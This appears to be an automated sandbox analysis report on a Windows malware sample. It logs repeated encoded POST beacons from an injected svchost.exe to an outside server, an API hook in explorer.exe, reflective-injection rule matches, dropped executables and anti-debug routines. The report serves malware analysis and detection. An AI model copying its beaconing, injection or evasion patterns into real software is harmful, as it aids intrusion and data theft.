Dec 26, 2024 12:06:39.628006935 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49971	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:39.628374100 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:06:41.326697111 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:06:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49974	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:41.567056894 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49980	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:43.769896030 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49981	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:43.769967079 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49992	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:48.057634115 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49993	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:48.060142994 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50002	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:52.185312986 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50003	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:52.185345888 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50014	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:56.767433882 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50015	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:06:56.767530918 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50023	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:07:00.544183016 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:07:03.515336037 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:07:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50024	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:07:00.544238091 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50031	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:07:03.834853888 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50034	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:07:04.661807060 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:07:06.328583956 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50035	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:07:04.661883116 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:07:06.195415020 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
CreateProcessInternalW	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: KERNEL32.DLL

Function Name	Hook Type	New Data
CreateProcessInternalW	INLINE	0xE9 0x90 0x00 0x07 0x75 0x5F

Target ID:	0
Start time:	06:04:58
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\52kYJGCon6.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\52kYJGCon6.exe"
Imagebase:	0x7ff795d10000
File size:	584'192 bytes
MD5 hash:	F5C5C9D5A779AD7077CCA7BEF57E94F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:04:59
Start date:	26/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	06:05:00
Start date:	26/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	06:05:08
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe"
Imagebase:	0x7ff60e610000
File size:	584'192 bytes
MD5 hash:	F5C5C9D5A779AD7077CCA7BEF57E94F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:05:10
Start date:	26/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:05:15
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"
Imagebase:	0x7ff7ca790000
File size:	5'915'951 bytes
MD5 hash:	543FB2FD6424B11D72633914571E016C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:05:16
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe"
Imagebase:	0x7ff60e610000
File size:	584'192 bytes
MD5 hash:	F5C5C9D5A779AD7077CCA7BEF57E94F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:05:18
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\tmp8AEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"
Imagebase:	0x7ff7ca790000
File size:	5'915'951 bytes
MD5 hash:	543FB2FD6424B11D72633914571E016C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:05:18
Start date:	26/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:05:19
Start date:	26/12/2024
Path:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\tmp1946.exe"
Imagebase:	0x7ff6838c0000
File size:	1'014'784 bytes
MD5 hash:	1A477A5659D817B01A50F2A80CB1D76E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe, Author: ditekSHen
Antivirus matches:	Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.9%
Total number of Nodes:	1130
Total number of Limit Nodes:	18

Executed Functions

Function 00007FF795D2FBA0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF795D30150: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF795D2FBC5), ref: 00007FF795D30154

ExitProcess.KERNEL32 ref: 00007FF795D2FBCE
ExitProcess.KERNEL32 ref: 00007FF795D2FC1D

Strings

svchost.exe, xrefs: 00007FF795D2FBEF
GqgWzd, xrefs: 00007FF795D2FCFA
GqgWzd, xrefs: 00007FF795D2FC08

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: GqgWzd$GqgWzd$svchost.exe
API String ID: 613740775-3706196489
Opcode ID: 9f5c7b640f57d296efcc2970fc598c3ee78b7c206099d74ffa78a16bb0841733
Instruction ID: 4be8e0b0342240e6b8245d3b68b3ef9d9d473650f59a5be363fd0d60ca545749
Opcode Fuzzy Hash: 9f5c7b640f57d296efcc2970fc598c3ee78b7c206099d74ffa78a16bb0841733
Instruction Fuzzy Hash: 7C51497190C66282F774BB31F99536AA6E0FF84B19F80643AD48E865A8CF3DD109C660

Function 00007FF795D12BEC Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 69
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF795D13970: shared_ptr.LIBCPMTD ref: 00007FF795D13990

type_info::_name_internal_method.LIBCMTD ref: 00007FF795D12C1D
RtlInitUnicodeString.NTDLL ref: 00007FF795D12C4F
NtOpenFile.NTDLL ref: 00007FF795D12D06

Strings

0, xrefs: 00007FF795D12C6E
, xrefs: 00007FF795D12CE2
@, xrefs: 00007FF795D12C7F
\??\, xrefs: 00007FF795D12BF9

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FileInitOpenStringUnicodeshared_ptrtype_info::_name_internal_method
String ID: $0$@$\??\
API String ID: 3492896725-1644384263
Opcode ID: 80fea6cff64a10e925d1ccc44b306e79c79c634c3964aa946b29e6fce584649f
Instruction ID: dcff8b2f2c5d1f58fceab03b75dd1c1508a947969e4cd8304fa3dc89a50f93a1
Opcode Fuzzy Hash: 80fea6cff64a10e925d1ccc44b306e79c79c634c3964aa946b29e6fce584649f
Instruction Fuzzy Hash: EC310732219A8496EB60DB24E49439AF7A1F7847A4F904235E79D43BE9EF7CC149CF40

Function 00007FF795D3060C Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF795D2FBD9), ref: 00007FF795D30610
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF795D2FBD9), ref: 00007FF795D30623
GetTokenInformation.KERNELBASE ref: 00007FF795D30654
GetTokenInformation.KERNELBASE ref: 00007FF795D30686
CloseHandle.KERNEL32 ref: 00007FF795D30695

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
